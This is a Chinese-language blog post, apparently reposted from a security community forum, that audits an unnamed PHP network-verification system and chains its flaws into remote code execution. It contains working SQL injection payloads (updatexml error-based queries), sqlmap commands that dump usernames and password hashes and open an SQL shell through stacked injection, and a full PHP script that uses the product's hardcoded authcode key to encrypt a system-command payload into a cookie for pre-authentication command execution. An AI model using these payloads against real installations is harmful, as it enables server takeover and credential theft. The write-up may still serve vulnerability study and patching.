文章来源:奇安信攻防社区(dota_st)
原文地址:https://forum.butian.net/share/1206
0x00 前言
0x01 信息收集
根据提供的目标,打开网站如下
在尝试弱口令无果后,根据其特征去fofa以及谷歌搜了半天,期间搜出好多个UI差不多的网站,后来发现其实这些站点都是 UI 做了变动,后端代码都是一样的。
最终定位到该系统为某网络验证系统
下载最新版的代码到本地,开始审计。
0x02 源码解密
安装完成后
index.php
core/common.php
看看hosts
屏蔽掉这个地址就可以了Db.php
,该 PHP 文件的作用通过名字也可以判断出来作用是封装数据库的方法,所以我们去登录的地方(会和数据库交互)打上断点F11
跟进,就会跳转进Db.php
文件中,成功解密得到源代码0x03 多处前台SQL注入
首先看登录点
admin'
,最终也会被转义成如下语句到数据库中进行查询username='admin\''
,无法闭合单引号。我们继续找其他点。Common.php
的类初始化方法里面传入的id
参数没有单引号包裹id=1'
的时候经过结构化传参变成了id=1\'
,依然多出一个单引号导致 SQL 注入,接下来就是找哪个地方调用了这个类的init
办法。SingleCard.php
文件,这里的SingleCard
类继承了Common
,并且在__construct()
使用了父类的init
方法sql注入
,这里截图其他判断了登录的地方做个对比updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax error)
#读取数据库中的表
data=123456&id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
mid()
函数控制回显位置#读取回显内容的第33位开始的60位,因为限制最大返回32,所以回显的是32个长度内容
1 and updatexml(1,mid(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),33,60),1)
python3 sqlmap.py -r 1.txt -p "id" --dbms=mysql --technique=E -D bingxin -T BX_menber -C 'username,password,salt' --dump
Common
类方法的 php 文件都会存在 SQL 注入,这里就不一一列举了。0x04 后台两处代码执行getshell
当然审计肯定不甘心止步于 SQL 注入,继续尝试是否存在 getshell 的利用链。全局搜索eval
函数,发现两处
software
中获取了两个字段的值,即encrypt
字段和defined_encrypt
字段,如果这两个字段我们可控,那么便可以构造代码执行,进而通过命令执行 getshell。逻辑如下1、首先将 software 表中的字段 encrypt 的值定义给常量 API_ENCRYPT
2、if条件判断如果 API_ENCRYPT 的值为 defined_encrypt,进入eval函数执行,并且其参数为字段 defined_encrypt 的值
3、所以我们只要能设置 software 表中的字段 encrypt 的值为 defined_encrypt,字段 defined_encrypt 的值为 phpinfo(); 就能代码执行
software
表encrypt
字段的值为authcode
,而defined_encrypt
字段的值则为空Common
类的初始化方法的所有php文件路由方法都能触发eval
函数导致代码执行,这里举例几处eval
函数执行0x05 前台代码执行getshell
可以看到前面的代码执行都是基于能获取到管理员密码明文的前提条件下,如果cmd5
解密不出来就没法利用了。所以我们再次开始审计,寻找前台代码执行的利用条件
call_user_func_array()
函数call_user_func_array ( callable $callback , array $param_arr ) : mixed
作用:调用回调函数,并把一个数组参数作为回调函数的参数
$data
变量中的name
和param
,我们跟进parseData()
查看传参来源parseData()
方法的作用是对$this->data
进行 json 格式的字符串解码,继续往上跟$this->data
$this->data
由bx_decrypt
解密而得,继续跟进bx_decrypt
方法switch
有多种加密方式选择,我们前面已经知道数据库中软件的默认加密方式为authcode
,所以我们这里选择跟进authcode
authcode
方法即包含加密功能也包含解密功能,如果authcode
方法第二个参数为空,则进行加密;如果第二个参数为DECODE
,则进行解密。call_user_func_array
的方法去查看 payload 如何构造,贴关键代码public function remoteFun()
{
$data = $this->parseData();
empty($data['name']) ? exit(api_json('1402')) : FALSE;
do_action('api_software_remote_fun', [$data]);
eval($this->software['0']['remote']);
if (!function_exists($data['name'])) {
exit(api_json('1401'));
}
$fun_param_num = count(get_fucntion_parameter_name($data['name']));
if ($fun_param_num != '0') {
empty($data['param']) ? exit(api_json('1402')) : FALSE;
$res_param_num = count($data['param']);
if ($fun_param_num != $res_param_num) {
exit(api_json('1403'));
}
} else {
$data['param'] = array();
}
$test = $data['param'];
$testst = $data['name'];
exit(api_json('1408', array('result' => @call_user_func_array($data['name'], $data['param']))));
}
remoteFun
方法,其中get_fucntion_parameter_name
方法代码如下{"name":"system","param":"ls"}
,这里 return 为2。count
获取 param 个数,上述 payload 中,param 只有一个ls
,所以将会返回为1$res_param_num = count($data['param']);
if ($fun_param_num != $res_param_num) {
exit(api_json('1403'));
}
param
中填充多余的一个值,使其数量相等满足 if 条件判断{"name":"system","param":["ls","dotast"]}
authcode
方法进行加密。全局搜索后,发现登录的时候调用过这个方法进行加密<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
setcookie('test', authcode('{"name":"system","param":["ls","123456"]}', '', 'zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw'), time() + 3600, '/');
?>
Cookie
中remoteFun
方法触发call_user_func_array
函数代码执行setcookie
回显时只是加了一层URL编码
处理,所以加密 payload 脚本也可以写成<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
$a = authcode('{"name":"system","param":["whoami","123456"]}', '', 'zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw');
echo urlencode($a);
?>
0x06 后台代码执行扩大到前台代码执行
前面我们已经知道后台两处代码执行依赖于管理员权限进入后台后,借助路由发起 POST 请求修改数据库的encrypt
和defined_encrypt
字段,那如果有办法可以不通过管理员权限就能修改数据库字段,不就可以升级成前台的代码执行啦?
测试存在 堆叠注入 !堆叠注入可以干什么?可以对数据库执行增删改操作呀~
用 sqlmap 指定堆叠注入,然后获取 sql-shell 执行 SQL语句
python3 sqlmap.py -r 1.txt --dbms=mysql -p "id" --technique=S --sql-shell
然后修改数据库字段
这里因为堆叠注入是不回显的,所以返回 NULL,其实已经执行了修改操作,我们可以去后台数据库验证一下
Common
的init()
方法的路由进行测试phpinfo();
,最终成功配合 SQL 将后台代码执行扩大到前台代码执行,最后所有继承了Common
类的初始化方法的php文件其路由方法访问都能触发eval
函数导致代码执行 getshell0x07 总结
代码审计其实是一项挺耗费心神的工作,但是只要有足够的耐心和坚持,在 getshell 的那一刻还是有很强烈的满足感的,继续加油吧~
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读